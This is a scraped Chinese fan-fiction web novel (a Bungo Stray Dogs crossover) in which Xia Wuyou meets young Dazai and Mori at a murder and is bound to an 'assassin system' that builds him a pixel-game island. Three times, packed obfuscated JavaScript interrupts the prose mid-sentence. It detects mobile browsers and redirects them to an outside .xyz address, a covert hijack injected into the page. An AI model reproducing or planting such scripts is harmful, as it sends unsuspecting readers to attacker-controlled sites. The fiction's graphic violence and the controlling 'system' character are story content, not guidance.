《横滨杀手,但像素建岛》 1. 拥抱 咔嚓—— 清脆的打火机声后,澄明的火焰驱散了黑暗。 焰火照亮了只冷白修长的手,手的主人捏着张黑白纸片,火焰自边角舔舐而上,留下焦黑蜷缩的痕迹。 焰光模糊照出了捏住纸片的少年。 少年正含情脉脉看着纸片上的人。 纸片上的人半边脸被绷带缠绕,黑白线条利落地描摹了张俊俏阴郁的脸,被烧掉的角落有名字——太宰治。 “你在做什么,无忧?”远处传来声音。 深情凝视纸片的少年回眸,眉眼弯弯,语气活泼俏皮,“我在做一件伟大的事!” “伟大的事……占星吗?” 不怪人这样说,夏无忧的周围有精美繁琐的木架,木架上摆着数排布偶娃娃、纸片、零零散散的小挂件,形象都来自纸片上的太宰治。 几句话的功夫,纸片上的火焰就要烧到夏无忧的手了。 夏无忧笑意盈盈,将点燃的纸片一丢,火焰划过黑夜,落在木架上。 木架上洒着易燃的香水,落上去的一点火焰顷刻高涨,将铺满架子的枯萎花朵点燃。 高温带来热流,光线发生折射,视觉上的空气在扭曲变形。 焰火焚烧的气息与花香碰撞出热烈的疯狂,摇晃的火焰中,少年彻底置身于明亮的火光。 他柔软的黑色长发被束起,雾蒙蒙的碧眸在火光下呈现一种浓稠的乌色。 夏无忧的眼尾上勾,左顾右盼时灵动张扬,极具攻击性,含笑时化作汪碧潭,让人坠入柔情缱绻的春风。 可惜怪异的景象让人无暇顾及这点。 “夏无忧,你在吊丧吗?” 夏无忧急忙反驳,“没有,我在用火焰证明我推的绝世美貌!” 他往前一指,“你懂不懂艺术,美好的东西存在就是为了破灭的一刻,灭亡带来哀悼和悲悯,也让美丽在湮灭中永恒!” “你推知道你给他吊丧吗?” 夏无忧跳脚,“都说了不是!再说纸片人没有人权,只有纸权,我烧一些怎么了?” “说实话。” 夏无忧将手放入外套,无可奈何的样子,音调转低,“好吧好吧,其实我刚买了处墓园,我要用一生来打造我的墓地。” “这和烧纸有什么关系?” 夏无忧晃了晃手指,得意道:“这你就不懂了,我和我推都不是生死相隔,而是差了个维度。为了死后与他常伴,我烧点他的纸片,把灰铺在墓地,在上面种花,自死而生,是不是非常浪漫!” “……” 燃烧的木架里有什么倒塌,溅出赤红的火星,夏无忧轻盈地后退,发尾随风扬起。 他张开手臂对向天空,眸中的光芒愈发粲然,“还有哦,再过不久有场流星雨,这样就更浪漫了。” 话音刚落下,流星准点自天边坠落,如雨,如焚烧夜幕的火焰。 死亡的恒星经过漫长的流浪,在遥远的地方降落,坠落过程中与气层摩擦出辉光。 夏无忧觉得一切都恰到好处,他闭上目,双手合十,虔诚地许愿——和自推来场甜甜的相遇! 他刚准备睁眼,大脑倏然传来一阵强烈的眩晕感,强烈的困意将他的意识裹挟于混沌。 意识中断前,他唯一能做的就是控制落地姿势,至少别栽到火焰里,这太不体面了。 * 可能因为晕前见到的火焰,夏无忧感觉自己也变成了熊熊烈火,在要起舞前,他被道冰冷的电子音打了回去。 【绑定倒计时,检测宿主资质,资质通过——】 【错误,修正,错误,修正加载——】 夏无忧不耐烦地睁开眼,他的头下意识往前,和球一样撞到什么东西,咕噜滚了出去。 他迷茫了一瞬,抬起头,发现自己跌坐在黑漆漆的房间里。 房间不是重点,重点是他前方有张床。床的四周血花飞溅,一个白褂的男子拿着把滴血的手术刀,脸上也有被溅到的血。 夏无忧横看竖看,都觉得自己闯入了杀人现场。 行凶的男人发现了他,眼里闪过讶异和杀意,面上却还是温和有礼的笑,朝着他走来。 夏无忧双臂交叉放在胸前,压低声音喊。 “什么人,退!” 他盯住男人,觉得男人有点眼熟,但他把自己认识的人都过了遍,没有能对上的。 黑发和暗红瞳,和个纸片人挺像的。 情况紧急,夏无忧没再想下去,他开始寻找逃生路线。 不看不要紧,一看夏无忧就发现窗边有人。 透明的窗户后是轮血月,少年整个身体都陷在黑暗里,鸢色的眼眸里没有光彩。 夏无忧愣住了。 这一瞬息,扭曲的世界褪变为灰白,时间被掰得细碎,丝丝缕缕的风化为缤纷的彩线,将感知的色彩涂抹圆满。 代表死亡的血味涌入肺腑,在体内炸成水红的花。 胸腔里鼓动起燥热的浪潮,他分不清是心跳,是飞鸟在振翅,还是虚无缥缈的晚钟。 原来如此。 浓烈的情绪被压缩回身体,理智回归,已知的线索被串联起来。 一个长的和森鸥外像的人可能是巧合,但两个呢? 房间内部昏暗,可见度低,落地窗边的光线足够,借着月光,夏无忧一寸寸从少年脸上看去,没找到化妆的痕迹。 他环视房间,再看向床上被杀害的人,思维越发清晰。 ——他来到了书中世界。 ——太宰治,他喜欢的人来到了他的面前。 夏无忧回过神,他需要更多的证据,于是移开粘在太宰治身上的视线,转而看向森鸥外。 森鸥外似乎发现他的失态,停下了动作,夏无忧切换了语言,热情地上前打招呼。 “晚上好,刚刚在忙吗!” 杀人应该挺忙的。 他的热情给森鸥外带来一定的困扰,森鸥外顿了下,没用多久就反应过来,接上了夏无忧的话。 “这位客人,你是从哪出来的呢?” 夏无忧和在自己家似的晃悠,路过床,他扭头弯腰去看床上的死者——一位干瘪的老头,咽喉处有致命伤,鲜红的血液还在外溢。 病床死者、医生森鸥外,是森鸥外谋杀篡位的时间点。 夏无忧没空去想是自己降了个维,还是纸片人升了维的哲学问题,他光顾着去看太宰治了。 天啊,是少年时期的自推! 太好了,他可以集齐太宰治少年、青年、成年三个阶段的样子了!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698111|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他就说许愿有用吧! 不过他许的不是和自推来场甜甜的相遇吗? 现在的场景……甜吗? 算了,问题不大,可能对黑手党来说血色相遇才是浪漫甜美的吧,他完全明白了。 夏无忧沉浸在自己的喜悦里,没留意到森鸥外和太宰治之间的交流。 太宰治被看得毛骨悚然,他不耐烦地耸了肩,面向森鸥外嘲讽道:“做坏事被人看到了呢,森医生。” 森鸥外无奈地看回去,眼里却没什么温度,为了埋葬秘密,最优解是杀死知情者。 太宰治看懂了森鸥外眼里的意思,他神色恹恹,觉得无趣。 “打断一下!” 明亮的话语在昏暗的房间响起,森鸥外和太宰治都看过去。 夏无忧走到了森鸥外的面前,他眼神认真,抬起手,在森鸥外戒备的目光中,坦荡地拍了拍森鸥外的肩膀。 “你好,孩子家长,你的孩子我很满意,当然我知道他未成年还不能结婚,但请放心把你孩子交给我吧。” 森鸥外失语,脸上的笑容变得勉强,“孩子,是太宰?” 夏无忧点头,配合着哼了几声,继续胡言乱语。 “是呢是呢,有一个词叫一见钟情,还有一个词叫梦中千次回眸,修得一世缘分,虽然我目前没房没车,没钱没户口,但我有颗真爱的心,请相信爱,相信我!” 这会森鸥外和太宰治都没表情了。 反应过来的太宰治和炸毛的猫一样,紧紧贴住身后的玻璃,缠着绷带的手指向夏无忧,露出被恶心到的表情,语气却不怎么走心。 “好恶心,森先生你上。” 森鸥外排除了夏无忧和太宰治的言语干扰,问出了他关心的问题,“你认识我们?” 夏无忧眨了下眼,“认识。” 他这样说,森鸥外反而不确定了,眼前的少年若是认识他,见到他的第一眼不会是那个表情,若是不认识,他对太宰治又过分热情。 森鸥外换了个问题。 “首领是您的……?”他留下适当的空白。 考虑到夏无忧躲在首领房间,森鸥外想他可能是首领的亲人,若说是亲信,这少年的模样太年轻。 夏无忧歪了下头,月光照过太宰治,落在他身上。 同沐在不详之月下,血色的月光渡在他的眼眸里,似旭日残阳,更似古怪的兴味。 “这个啊——”他拖长了调子,哒哒哒向着远处的大门跑去,“我去外面帮你问问!” 森鸥外神色沉下。 “拦住他。” 太宰治不情不愿地动弹,他抵着玻璃直起腰,重心前移,踏出一步,黑色外套微微晃动。 夏无忧故作惊慌地趔趄了下,恰好躲开了背后袭来的手术刀,等稳住身体,太宰治已经挡在了他前方。 他不退反进,扬起明媚的笑,往前一下扑住了太宰治。 猫怎么抓? 直接抓猫肯定躲,但是你装作偷吃东西,猫会自投罗网。 夏无忧往前一扑,拥抱到了心心念念的人,少年人的骨架本就瘦削,太宰治的背比他想的还单薄,摸上去像是瘦骨嶙峋的猫。 他半是叹息,半是愉悦地附在人耳边说。 “抓到你了。” 2. 系统 “是吗?”少年期的太宰治音色很空,他的尾音没有落下,带着丝符合年纪的绵软。 他拽住夏无忧的后衣领,使力要将人贯到地上。 但夏无忧早有准备,他压低头,从太宰治的臂弯下钻过了过去,再调整手臂的角度,灵活地脱掉了宽松的外套,朝着大门处奔跑。 太宰治脸色冷沉,跨步就追了上去,夏无忧背后长眼睛似的,当即加快了速度,边跑边放话。 “太宰,你还小,我不动你,但你要是再追,我一定发了疯,忘了情,做鬼一样缠上你!” 他这话说的没过脑子,捕捉到细微的破空声,他估算出方向,弯腰,再往左跳,险险避开森鸥外的手术刀。 追逐中夏无忧体会到了一丝乐趣,这边根本没人管他,他想怎么逗人就怎么逗人,当然要是他有绝对的武力值,他还会更快乐。 大门越来越近,他的胡话也越说越流畅。 “追,还追,呐呐呐,果然太宰离开不开我吧,诶,谁让我宠你呢,真是拿你没办法,小顽皮。” 夏无忧上会还在喊小顽皮,手就要摸到门把柄,希望近在眼前,下一秒就戛然而止。 他的后颈被粗暴地捏住,整个人被拽仰倒。 他想再扑腾几下,但余光瞥到凌冽的刀光,只能放弃抵抗,躲过划过的手术刀,心脏刚提起,就被太宰治用手臂卡住了喉咙。 太宰治存心报复,下了死力气,夏无忧差点没喘上气。 他艰难且倔强地挤出话。 “投…降,我招。” 太宰治制住人,逼近阴恻恻念道:“小~顽~皮?” 和夏无忧说时的戏谑不同,他夹着嗓子,调子甜腻,但底色是冰冷的。 夏无忧呼吸困难,他抬起手,拍了拍太宰治的手背。 太宰治真的松开了点,夏无忧才吸上口空气,咽喉处的手臂便恶劣地收束,卡得更紧了。 夏无忧憋着气,虚眯起眼试图说什么,太宰治留意到他的动作,抬手便捂住了他的嘴。 粗糙的绷带擦过下颚,不带任何情感地往上掰,让他更易于控制。 夏无忧盯住距他只一点远的大门,知晓再往前是不太可能了,若是他心里有个账本,他已经翻开啪啪啪记账了。 森鸥外甩他手术刀,记一笔。 太宰治卡他脖子,给森鸥外记一笔。 太宰治不知道夏无忧在想什么,他也看不清夏无忧的神色。 他去寻森鸥外,森鸥外站在原地若有所思,似乎准备下达命令,太宰治才看过去,就听到怀里的夏无忧哼笑了下,这让他有了糟糕的预感。 预感很快就被验证。 夏无忧手肘往后一捣,太宰治本能去躲,捂人的手被拉住,夏无忧扒住太宰治的手,在手的虎口处咬了一大口。 咬完他顾不上呼吸,提着嗓子大喊。 “来人——!” 是的,他根本没想跑出去,跑出去有什么用,他一个来历不明的人,被房间外的人发现只有被杀的下场。 理智告诉他,他该转身和森鸥外协商。 如果这个世界和他知道的相差不大,那森鸥外是个足够理智冷血的人,只要他能提供价值,他就能活下去。 但夏无忧很恼火。 他在这里耗了会时间,一直在想是什么东西把他带到这个世界,为什么把他带过来了,却没有任何引导。 既然费尽心思把他带到这里,总不会要看着他自寻死路吧。 夏无忧坚持认为,一旦让自己陷于被动的状态,再要挣扎就迟了。 这点适用于他和森鸥外,也适用于他和未知的存在。 现在好了,他喊这一下,他和森鸥外都别想好过。 夏无忧面上浅笑,心里充斥着股戾气,他听到了门外杂乱的声音,有人在交谈,反应过来的森鸥外在靠近。 每一秒流逝的时间指向未知,在呼吸逐渐平稳的间隙,他抓紧时间去找太宰治。 太宰治退到了阴影里,神色冷淡,从月光来到大门处,他所处的位置不同,身上那股游离的气质却没变。 他既不关心当下的事,也不关心自己。 见到转过身的夏无忧,他轻蹙眉,一会就舒展开眉心,笑得颇为恶意,浅色的唇翕合,声音几近于无。 「你死定了。」 不同的声音在逼近,来自计划被扰乱的森鸥外,来自门外的黑手党,哪一方都代表了危险。 房间弥漫着血腥味,危机成为一粒星火,将夏无忧的血液烧得滚烫。 夏无忧的心脏怦跳着,他旁若无人地盯住太宰治,目光如有实质,落到太宰治被咬的手上,面上无辜地问。 “疼吗?” 闻言太宰治垂在身侧的手指动了下,他冷笑了下,抬起手,大方地展示。他不会在麻烦的地方缠绷带,手上绷带只缠了手背,露出的虎口处有个牙印。 他用同样天真的表情回敬过去,周身散着黑气。 夏无忧浅色的眼珠转动,他扫到自己丢在地上的外套,有点可惜,刚来他就翻过口袋了,什么都没找到。 门外的脚步声消失,有人敲着门恭敬地喊首领,夏无忧抬起头,迎面是面色莫测的森鸥外。 在要与森鸥外擦肩而过前,他往边上晃了步。 他的步伐不像什么正常人,飘飘然的,好似喝醉了的小丑,陶醉于幽灵歌剧,用鞋根作鼓点,把演绎乐曲变得轻快。 这样的步法脱自歌剧、古剑法、礼仪舞,合并起来有种独特的观赏性,在夏无忧身上更显花哨。 他对自己的身体有着精准的把控,避开森鸥后,他前伏捞起地上的外套,后甩到肩上,与房间的人保持一定的距离。 没办法。 夏无忧怕森鸥外给他一刀,当场宣布他是杀手。 接下的剧本也好猜。 正义的医生撞见场谋杀,为死去的首领复了仇,临终前首领奄奄一息,把自己的位置传给了可靠的医生。 夏无忧托住下巴,目光追着森鸥外移到门上,眼神发亮,决定了! 待会他就大喊自己是先代首领的私生子! 不管这些人信不信,但场面一定会很有趣。 房间里的三人心思各异,表现的出来是,夏无忧和森鸥外在看大门,准备着自己的措词。 而太宰治在看夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698112|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无忧。 他看了半天夏无忧的表演——他认定是表演,夏无忧的任何语言和动作都带有目的性,可以轻易带动人的思维。 这大概是位高明的表演者,自小成长的环境绝非正常。 更古怪的是夏无忧的行动逻辑,他对这里表现出不知情,但似乎认识自己,还单方面建立了联系。 夏无忧似乎注意到了注视,微笑着看了过来,太宰治一顿,厌恶的情绪在胃里翻滚。 这不是人看人的眼神,而是人看喜爱物品的眼神。 似乎是通过什么渠道旁观了他的人生,因此傲慢,因此居高临下,所谓的喜爱也透着股强横。而他被看透了灵魂的本质,被迫袒露内心的黑暗。 怎么做到的? 怎么敢的? 被看穿的恼怒和耻辱化作皮,被恶欲的怪物披上,阴影里有什么窃窃私语,发出阵阵尖锐的笑声。 太宰治低头去看自己的手,上面烙着红印,能联想到短暂的疼意,以及濡湿温热的触感。 他反复擦拭过,但印记如同活蹦乱跳的夏无忧本人,带着和章鱼一样难杀的生命力。 太宰治有了新的主意。 ——挖掉这双眼,踩碎再喂人吃下去。 留意着太宰治的夏无忧瞪大眼,确定没看错后,阴翳自他的眼眸掠过,快如被夜幕吞噬的星火。 思忖中,门外的人又喊了几声,起先他们顾忌阴晴不定的首领,畏惧大声说话,但长时间的缄默滋长了猜疑。 在耐心被消耗完后,他们就要破门而入。 恰在此刻,异变突发。 冰冷的电子音在夏无忧脑海响起。 【修正完毕,检测到传送地点错误,加载传送模块。】 玄奥的能力波动以他为中心出现,一颗几何形状的金色星辰降落,光芒与窗外的血月交融。 星辰悬停于夏无忧的眼前,爆发的光芒中,他的笑容真切了许多。 画面仿佛定格在此时,他听到了一声嗡鸣,不是从外传入耳膜的,而是来自大脑,向着四面八方逃逸。 他见到冷下脸的太宰治上前,向着他伸出手。 夏无忧心中的顾虑消失,他满意自己的退场方式,并确定自己将得到新的筹码回归。 他向着太宰治伸出手,唇瓣一开一合,在指尖触碰到对方前,光芒彻底吞没了他。 他只来及念几个字,眼前的画面如墨水般模糊,再度清晰后,他置身于一片灰色的单调空间里。 电子的声音还在继续。 【一则通知,宿主原本应该绑定的是[恋爱攻略系统],但因意外的维度波动,绑定出错,您现有的系统是[最强杀手系统]。】 【在您成为最强的杀手前,我会用尽一切手段辅助您。】 【目标达成后,您可以选择回去或留下,我许诺您一个愿望。】 * 外界,太宰治扑了个空。 他阴沉看着自己的手,消失者最后的话反复在脑海出现。 「夏无忧。」 这是消失者的名字。 名如咒,一旦被念出,被记住,人与人之间便缠上了根丝线。 3. 岛屿 系统空间里,夏无忧盘腿坐下来。 他专心打量起这片空间,空间里弥漫着灰色的雾气,可见度低,往远处望去,雾气后的空间仿佛无穷无尽。 灰色给人暗沉、压抑、空洞的印象。 充当这片空间光源的是夏无忧前方的金色星辰。 夏无忧第一眼看到星辰就觉得无比亲切,当他触碰到星辰时,灵魂处会传来温暖柔和的力量。 他伸出手,将悬浮的星辰捧起来。 星辰为半透明的几何形,内里流动着银河星海似的细砂,从不同的角度望过去,还能看到绚烂的彩光。 夏无忧将星辰放在腿上,与脑海里的系统对话,“你刚才的话我都听了,但是容我先强调。” 他伸出三根手指。 “其一,没有经过我的同意就将我带到这个世界,是绑架劫持的行为,你侵犯了我的人身自由权。” “其二,我不想当杀手,系统绑定错误是你们的问题。” “其三,你们将我传送到了错误地点,你知道这会带来多严重的后果吗?”他的声音拔高,着重强调道,“有生命危险就算了,你搞砸了我和我推的首次相遇!” 夏无忧开始碎碎念,“你知道初印象有多重要吗,我都不求温馨浪漫的相遇了,但在谋杀篡位的黑漆漆的房间里,你是生怕我来历不奇怪啊。” 他回想太宰治最后的眼神,更是幽怨。 “太宰治这个人不管到了多少岁,都是记性很好,很记仇的一个人。虽然我也没想隐瞒一些东西,但是那么仓促的情况下,我还没和他说上几句话呢。” 夏无忧本想指责系统,但是系统不在空间里,在他的大脑里,于是他竖起一根手指,点住自己的额心。 “说话,系统,我要补偿!” 说了一堆废话,他的主要目的就是这个。 系统依旧无动于衷。 【已接收宿主的意见,经评估,合理。】 【请容我为您一一解答,系统存在的目的是为了实现愿望。您可以将这当做一场梦和奇迹,万千人中,唯独拥有资质您被选中。】 【虽然系统绑定错误,但我认为您有成为最强杀手的潜力,比起浅薄的情爱,杀手才是更符合您的道路。系统不会强制您完成什么,您有一次拒绝的机会。】 【您是否要拒绝?】 “不要。” 夏无忧想都没想就给出了答案。 他托住自己的脸,噙着笑说:“你不是许诺过我了吗,完成目标后我可以选择留下或回去,还能得到一个愿望,我想不到拒绝的理由。” 【很荣幸您能接受。】 “但是——”夏无忧抱臂,目光明锐,“什么叫浅薄的情爱,你也太没品了!爱是生命的衍生之源,是世界无法复制的瑰宝,是在淤泥里发光的珍珠。” 他很是愤愤不平,“夺取人性命的事怎么能和爱相比,非要我选,我一定要向世界传播爱。” 【当您亲自扼杀生命,你会知道爱是软弱的,它是自我欺骗和生物潜意识的投影。在我看来,它毫无价值。】 夏无忧啧了声,“你都不是人,没有亲身体会过的东西怎么能评价。” 【是,我无法评价,但在您来到这个世界前,您与喜爱的人都不在一个维度,这样的情感也能被称为爱吗?】 “你还和我辩论上了。” 夏无忧捂住自己的耳朵,竖起只手表示打住,“不和你说这些了,我到底为什么要和你讨论这个。” 系统没有任何停顿,跳到了之后的解释。 【那么我将详细为您说明任务、目标和补偿。】 夏无忧:“你说。” 【您将在接下来的时间成为最强杀手,这项评估具有几个指标,分别为知名度、重大事件参与度、实力评分。】 夏无忧:“我头晕,有没有更简洁版本的。” 【简而言之,您要提升实力,并获得足够的名声。】 夏无忧的思维活跃,他做事基本靠自己的喜好,从不把自己束缚在什么规则里。 系统说的最强杀手对他来说不那么有趣,他很快就厌倦了被困在这里,于是真挚发问。 “好的,我知道,所以能放我走了吗,我想体验下横滨本土风情。” 系统冷酷地拒绝了。 【不行,您的资质很高,缺陷也大。您的实力在异能世界不够出色,现在让您出去您会有生命危险。您的性格不受约束,一旦对别的产生兴趣,会浪费自己成为最强杀手的时间。】 夏无忧的眉不悦地下压,面上排斥。 “你之前还说任务不具有强制性,怎么还要关住我,而且成为最强杀手没有时间限制吧,我去玩几年怎么了?” 【语言是沟通的手段,也具有局限性和误导性。若是让你产生不快,我会调整自己的语言模块。】 夏无忧根本不在乎这个,他挥了挥手。 “我也没对你有多大指望,这个不重要,你别避开我的问题。” 【您的任务不具有强制性,但有结算评分等级。您越早完成,完成的越出色,您的评分会越高。】 “我之前就想问了,若是我失败了,或者评分过低有什么后果?” 【你会失去这段时间的记忆,被传送回原世界。】 夏无忧短促地笑了下,“真够仁慈的。” 【若是您能获得最高评分,您不但能得到一个愿望,还可能成为优秀毕业生,拥有在不同世界穿梭的能力。】 【如果可以,我希望您更信赖我,系统的存在便是为了帮助您。而在任务之前,您的安全高于一切。】 夏无忧磨了下牙,这系统说话还挺滴水不漏的。 明明是约束他自由的行为,但用一堆蜜糖包裹起来,还吃准了他不服输的性子。 既然有评分,他一定要拿到最好的。 【关于补偿,系统根据您的爱好,将系统的任务和奖励合并,设计成了一款种田小游戏。】 夏无忧的眼睛亮了下,最关键的来了。 “说详细些。” 【您会为您建造一座处于现实与虚幻之间的岛屿,在游戏中,您是功成名就后退休的杀手,也是岛屿的绝对主人。】 【游戏涉及玩法有:种田、抽卡、养成、家园、钓鱼等。】 【我将成为您的管家,会派发每日、每周、每月、阶段任务,完成任务后您将获得积分,积分可以用来抽取您的岛民,也可以在商店兑换物品。】 【岛民是您重要的伙伴,您可以指派他们为您开荒,清除深海的怪物,获得大量物资。离开这片空间,您也可以召唤岛民在现实世界为您战斗。】 夏无忧兴致勃勃地站了起来,他拍了拍自己外套,语气无比愉悦。 “这还差不多,我喜欢游戏。” “不过,”他话锋一转,“我还是想要出去见我推。” 系统可能是被夏无忧的执着打败了,顿了会,妥协般在游戏里加了点东西。 【请您再考虑,在您抽取岛民时,您将解锁Q版小人,小人有首领太宰、骸塞太宰、学院太宰,您还可以解锁猫耳、礼服、和服等装扮。】 夏无忧神色一肃。 “任务在哪?!立刻派发给我吧,我已经迫不及待了。” 【请您触碰您的星辰。】 夏无忧奇道:“为什么说是我的星辰?” 【您被降维带到这里后,您的灵魂之力逸散,我将这些力量转换为这个世界体系的[异能力]。】 【星辰也可以看作您的灵魂宝石,当你接纳它后,我会用它为您构建属于您的世界。】 夏无忧伸出手指,当他的指尖触碰到星辰,空间发生了剧烈的变化。 灰雾翻涌,光芒熄灭,世界归于漆黑的寂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698113|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灭。 狂风抵达,肆虐地劈开沉闷的果壳。 而再暴虐无常的风,在接触到他的周身后,主动变为一缕和煦的风挑起他的发尾。 黑暗中夏无忧感知到自己多了什么力量,他的体内从干涸的废墟变成金色的海洋。 他本能地抬起手,雾气被驱散,天边出现场金色的流星雨,星辰落在地上,仿佛块融化的糖果,留下琥珀色的光晕。 他行走,经过的地方变为岛屿,他眺望,目之所及变为天空。 天上星辰偏转了轨道,向着下方汇聚,夏无忧展开手掌,属于他的金色星辰炽明如昼,群星以此为中心环绕转动,组成球形的小行星。 【我见过许多人的灵魂,唯有您的灵魂是金色的。】 夏无忧浅笑起来,他抬起手掌,朝着小行星吹了口气,行星散成漫天的金色的流萤。 以他为锚点,现实和力量搭建起通道。 再一次眨眼的时间,茫茫的海面上多出座的岛屿,方圆几万平方米的海域被雾气笼罩,月明星稀,咸腥的海风从岛上巡逻而过,在白色的沙地上推出波浪纹路。 新上任的岛主面色忧愁,他在和系统对峙。 “系统你出来,说好了是种田小游戏,我为什么不能控制白天黑夜,夜里好冷。” 海洋岛屿上昼夜温差大,夏无忧把外套衣领往上拉,冷风从领口钻了进来,冻得他一激灵。 【没有这个功能,如果您有积分可以兑换。】 夏无忧踩在岛屿的沙滩上,他的视野里出现一颗金色的星辰,星辰指引他往一个方向走。 他走了段路,前方出现间亮着暖灯的小木屋。 夏无忧的步伐轻快起来,他再次加快速度,在到达后推开门。 吱呀——门轴转动。 灯光洒了出来,屋内的暖流驱散了身上的寒意。 暖色调的灯给屋内家具打上柔光,壁炉内的火柴在燃烧,木质的地板上铺着毛绒绒的毯子,暖色的被褥也格外蓬松柔软。 夏无忧打了个哈气,把外套挂到衣架上,换好拖鞋,从海滩到温暖的室内,他不可避免地感受到了困倦。 他从地毯上走过,目光停留在桌面。 桌面上摆着散着热气的食物,焦黄色的枫糖饼、金黄流油的烤鸡、奶酪蘑菇炖汤、一提篮的树莓葡萄、冒热气的章鱼小丸子。 夏无忧哇了声。 “系统你好体贴。” 【这是第一夜的欢迎餐,往后您要自己获得食材去烹饪。】 夏无忧拉开椅子坐下,身体松弛下来,有一搭没一搭和系统聊天,主要是试探系统能做到什么程度。 “系统,你觉不觉得房间有点空旷?你能不能变出我的睡衣,还有我特别喜欢一款安神香,没它我睡眠质量会下降很多。” 系统的回答是没有。 【您是杀手,杀手不需要睡觉。】 “?” 夏无忧无比震惊,他回忆了下知道的杀手,大部分杀手都神出鬼没,昼夜颠倒,动不动伪装起来窝在哪个地方。 他把叉子插入小丸子里,“谁说杀手不要睡觉的,杀手也是人,是人就要睡觉。就算别的杀手不睡觉,我也要睡觉!” 【您当然可以睡觉,睡觉不会浪费您的时间。】 在吃完饭前,夏无忧还不懂这句话的意思。 等到他洗完热水澡,把衣服叠好,平躺在床上,缓慢地陷入梦乡后,他才切身明白系统这句话。 他眼睁睁看着自己身体在沉睡,灵魂却飞了出来,和朵小幽灵一样穿过屋顶,一路往天上飘。 “叮”一声,世界变为像素小游戏。 他能看到系统布置的任务界面,任务边上还有背包、抽卡、养成、地图小图标。 好好好,系统要他白天在现实里打工,晚上在游戏里打工。 夏无忧脸都黑了。 4. 抽卡 夏无忧在发火和玩游戏之间,选择先玩游戏,视情况再发火。 在灵魂状态下,他可以在最高处俯瞰沙盘一样的岛屿,从全局看,岛屿九成以上的区域都被迷雾笼罩,应该是待开荒区。 没有迷雾的区域里,属于他的领地上小木屋有个星星标记。 夏无忧从岛屿不同的地方看过去,发现了有意思的东西,岛屿面积辽阔,从边缘往里深入,丛林的占比渐高。 这片岛屿并不是完全自然的状态,有些区域很明显的建筑痕迹,不过都被荒废了。 人类的痕迹被自然覆盖,盘桓的树根扎入了钢筋水泥里,藤叶蛮不讲理地覆盖墙面,海风吹过,翠叶哗哗作响。 岛屿在夏无忧的眼中无所遁形。 他立刻发现了与他登岛位置相反的地方,搁置着一座断成半截的乘船。 乘船被一阵阵的浪潮拍打而过,潮湿腐烂的甲板被藤壶寄生,还有寄居蟹与贝壳躲在沙地里。 因为是像素风,画面颇为悠闲可爱。 夏无忧试着敲系统,把自己的想法传过去。 [系统,这不是根据我的力量建造的岛屿吗,为什么有人类活动过的痕迹?] 系统一板一眼的解释很快就来了。 【为了您的体验感,我添加了适当的游戏背景,这样您在开荒中也不会无聊。】 夏无忧:[真的假的啊?] 【您在怀疑什么。】 夏无忧没有实体,他从断船拉到废弃区,看过船身上被雷击打过的痕迹,再到雾气中的建筑。 建筑上有战斗的痕迹,他看到了被利器清出的空地、建筑上有密集的钢刺、还有夸张的冲击波。 就算是像素风,也掩盖不了战斗的激烈程度。 夏无忧:[我还以为,拥有时空穿越能力的你,截取了哪个废弃的世界用来完善我的岛屿呢。] 【……】 夏无忧的观察没有停下。 他的脑海出现岛屿的地图,从船只到废弃区,他能想象到发生了什么样的故事。 [这岛上原本有人,这些人坐船逃到这个岛屿,与追杀者发生了激烈的战斗,后来全都不知所踪。他们人呢,不会被你做成我还没抽取的岛民了吧~] 【……】 夏无忧就当系统默认了。 他欣赏完自己的岛屿,刚准备再逛逛,忽然感受到了一股奇怪的波动,来自岛屿外围的迷雾。 夏无忧问:[那是什么?] 他的感知被限制在岛屿里,不怎么清楚迷雾外的情况。 【一些不重要的闯入者。我说过,您的岛屿处于现实和虚幻之间,岛屿可以屏蔽一切电子设备,免疫一切异能力。】 夏无忧懂了。 [和海市蜃楼一样。] 【可惜岛屿还能被人眼捕捉到,这些察觉到的人想要进来,被困在了迷雾里。您是直接杀死他们,还是放他们离开?】 夏无忧:[你杀的人算我任务指标吗?] 【不算。】 [诶,那放他们走吧。] 过了会,系统再次开口。 【我将他们放行了,他们用设备记录了模糊的画面,目前在用通讯发布相关信息,需要我为您截取信息吗?】 夏无忧提不起劲,反正外面的人进不来,让他们传出去也好。 以后他肯定要有杀手身份,一个杀手怎么迅速累积名气?除了强大的实力,独特的杀人手段,还有就是如雷贯耳的来历。 他的岛屿越诡异强大,从岛上出来的杀手就越神秘莫测。 夏无忧想了下,把这方面的决策权交给系统。 [没必要截取他们的信息,不杀死他们,他们迟早会泄露消息。这方面的消息你以后不用告诉我了,你看着办。] 以后来勘察他的岛的人肯定会多,要是来一个烦他一下,他要被烦死。 夏无忧看着岛屿上的迷雾,有了坏点子。 